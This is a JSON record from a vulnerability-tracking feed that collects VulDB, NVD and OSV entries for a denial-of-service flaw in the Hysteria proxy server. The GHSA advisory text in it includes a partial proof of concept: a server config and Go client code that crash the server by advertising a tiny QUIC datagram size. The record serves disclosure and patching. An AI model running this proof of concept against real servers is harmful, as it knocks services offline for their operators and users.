{"vuln_id":"CVE-2026-134455","aliases":["GHSA-qh5x-rfwf-rvfv"],"description":"Hysteria 1.0.0 before 2.9.2 contains a denial of service vulnerability in FragUDPMessage where UDP fragmentation fails to handle headers larger than the maximum datagram payload size. Authenticated clients can advertise a small max_datagram_frame_size and trigger a UDP response, causing a slice bounds panic that crashes the server.","published_at":"2026-06-26T19:58:12Z","modified_at":"2026-11-21T18:10:44.620395Z","first_seen_at":"2026-11-21T19:15:21.306933Z","severity":"high","severity_source":"nvd","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":["CWE-1284","CWE-770"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":"Received","enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-134455"},"matched_alias":null,"items":[{"id":2697,"source":{"id":"vuldb","name":"VulDB recent entries"},"title":"CVE-2026-134455 | HyNetworks Hysteria up to 2.9.1 FragUDPMessage denial of service","summary":"A vulnerability, which was classified as critical, has been found in HyNetworks Hysteria up to 2.9.1. The impacted element is the function FragUDPMessage. This manipulation causes denial of service.\n\nThe identification of this vulnerability is CVE-2026-134455. It is possible to initiate the attack remotely. There is no exploit available.\n\nIt is advisable to upgrade the affected component.","url":"https://vuldb.com/vuln/442010","published_at":"2026-11-21T17:38:19Z","updated_at":"2026-11-21T17:38:19Z","fetched_at":"2026-11-21T19:15:21.122998Z","severity":"high","cvss_score":7.1,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"HyNetworks","product":"Hysteria","vuln_id":"CVE-2026-134455","vuln_ids":["CVE-2026-134455","GHSA-QH5X-RFWF-RVFV"],"tags":["Vendor: HyNetworks","Product: Hysteria","Risk: critical","Physical: No","Local: No","Remote: Yes","Exploit: No","Countermeasures: Upgrade"],"cluster_id":2780,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2697","html":"https://vulnwatch.ve1ve2.com/item/2697"}},{"id":10426,"source":{"id":"nvd","name":"NVD CVE API 2.0"},"title":"CVE-2026-134455: Hysteria 1.0.0 before 2.9.2 contains a denial of service vulnerability in FragUDPMessage where UDP fragmentation fails to handle headers larger than the maximu…","summary":"Hysteria 1.0.0 before 2.9.2 contains a denial of service vulnerability in FragUDPMessage where UDP fragmentation fails to handle headers larger than the maximum datagram payload size. Authenticated clients can advertise a small max_datagram_frame_size and trigger a UDP response, causing a slice bounds panic that crashes the server.\n\nReferences:\nhttps://github.com/HyNetworks/hysteria/security/advisories/GHSA-qh5x-rfwf-rvfv\nhttps://www.vulncheck.com/advisories/hysteria-1.0.0-before-2.9.2-denial-of-service-via-max-datagram-frame-size","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-134455","published_at":"2026-11-21T17:17:10.700000Z","updated_at":"2026-11-21T17:17:10.700000Z","fetched_at":"2026-11-21T19:15:31.485952Z","severity":"high","cvss_score":7.5,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":null,"vuln_id":"CVE-2026-134455","vuln_ids":["CVE-2026-134455","GHSA-QH5X-RFWF-RVFV"],"tags":["CWE-1284"],"cluster_id":2780,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10426","html":"https://vulnwatch.ve1ve2.com/item/10426"}},{"id":10950,"source":{"id":"osv","name":"OSV.dev"},"title":"GO-2026-5807: Hysteria vulnerable to server crash when max_datagram_frame_size very small in github.com/apernet/hysteria","summary":"Hysteria vulnerable to server crash when max_datagram_frame_size very small in github.com/apernet/hysteria.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/apernet/hysteria before v2.9.2.\n\nAffected: Go:github.com/apernet/hysteria\n\nNo fixed version published yet\n\nReferences:\nhttps://github.com/apernet/hysteria/security/advisories/GHSA-qh5x-rfwf-rvfv","url":"https://osv.dev/vulnerability/GO-2026-5807","published_at":"2026-07-07T15:26:32Z","updated_at":"2026-11-21T18:10:44.620395Z","fetched_at":"2026-11-21T19:15:55.946324Z","severity":"high","cvss_score":7.5,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/apernet/hysteria","vuln_id":"CVE-2026-134455","vuln_ids":["CVE-2026-134455","GHSA-QH5X-RFWF-RVFV","GO-2026-5807"],"tags":["osv","go","no-fix-yet"],"cluster_id":2780,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10950","html":"https://vulnwatch.ve1ve2.com/item/10950"}},{"id":10949,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-qh5x-rfwf-rvfv: Hysteria vulnerable to server crash when max_datagram_frame_size very small","summary":"Hysteria vulnerable to server crash when max_datagram_frame_size very small\n\n### Summary\n\nAn authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.\n\n### Details\n\n\nThe vulnerable path is the normal server-side UDP response path:\n\n```text\nudpSessionEntry.receiveLoop\n  -> sendMessageAutoFrag\n    -> frag.FragUDPMessage\n```\n\nIn `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls:\n\n```go\nfMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))\n```\n\nHowever, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size:\n\n```go\nmaxPayloadSize := maxSize - m.HeaderSize()\n```\n\nIf an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics:\n\n```go\nfrag.Data = fullPayload[off : off+payloadSize]\n```\n\n\n### PoC\n\npoc.yaml\n\n```yaml\nlisten: 127.0.0.1:8443\n\ntls:\n  cert: poc_server.crt\n  key: poc_server.key\n\nauth:\n  type: password\n  password: udp-frag-panic-poc\n\n\nmasquerade:\n  type: string\n  string:\n    content: nope\n    statusCode: 404\n```\n\npoc.go\n\n```go\n//go:build poc\n\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/binary\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/apernet/quic-go\"\n\t\"github.com/apernet/quic-go/http3\"\n\t\"github.com/apernet/quic-go/quicvarint\"\n)\n\nconst (\n\tauthHost = \"hysteria\"\n\tauthPath = \"/auth\"\n\tauthOK   = 233\n)\n\nfunc main() {\n\tserver := flag.String(\"server\", \"127.0.0.1:8443\", \"Hysteria server address\")\n\tauth := flag.String(\"auth\", \"\", \"Hysteria auth/password\")\n\ttarget := flag.String(\"target\", \"127.0.0.1:19090\", \"UDP target reachable from the server\")\n\tmaxDatagram := flag.Int64(\"max-datagram\", 20, \"QUIC max_datagram_frame_size advertised by this client\")\n\tinsecure := flag.Bool(\"insecure\", true, \"skip TLS verification\")\n\techo := flag.Bool(\"echo\", true, \"start a local UDP echo server on --target\")\n\tflag.Parse()\n\n\tif *auth == \"\" {\n\t\tpanic(\"--auth is required\")\n\t}\n\tif *echo {\n\t\tcloseEcho := startUDPEcho(*target)\n\t\tdefer closeEcho()\n\t}\n\n\tconn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)\n\tdefer cleanup()\n\n\tmsg := hysteriaUDPMessage(1, *target, []byte(\"X\"))\n\tfmt.Printf(\"[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\\n\",\n\t\t*t\n\nAffected: Go:github.com/apernet/hysteria\n\nFixed in: 2.9.2\n\nReferences:\nhttps://github.com/apernet/hysteria/security/advisories/GHSA-qh5x-rfwf-rvfv\nhttps://github.com/apernet/hysteria","url":"https://osv.dev/vulnerability/GHSA-qh5x-rfwf-rvfv","published_at":"2026-06-26T19:58:12Z","updated_at":"2026-11-21T18:10:44.620395Z","fetched_at":"2026-11-21T19:15:55.946323Z","severity":"high","cvss_score":7.5,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/apernet/hysteria","vuln_id":"CVE-2026-134455","vuln_ids":["CVE-2026-134455","GHSA-QH5X-RFWF-RVFV","GO-2026-5807"],"tags":["osv","go","fix-available"],"cluster_id":10578,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10949","html":"https://vulnwatch.ve1ve2.com/item/10949"}}]}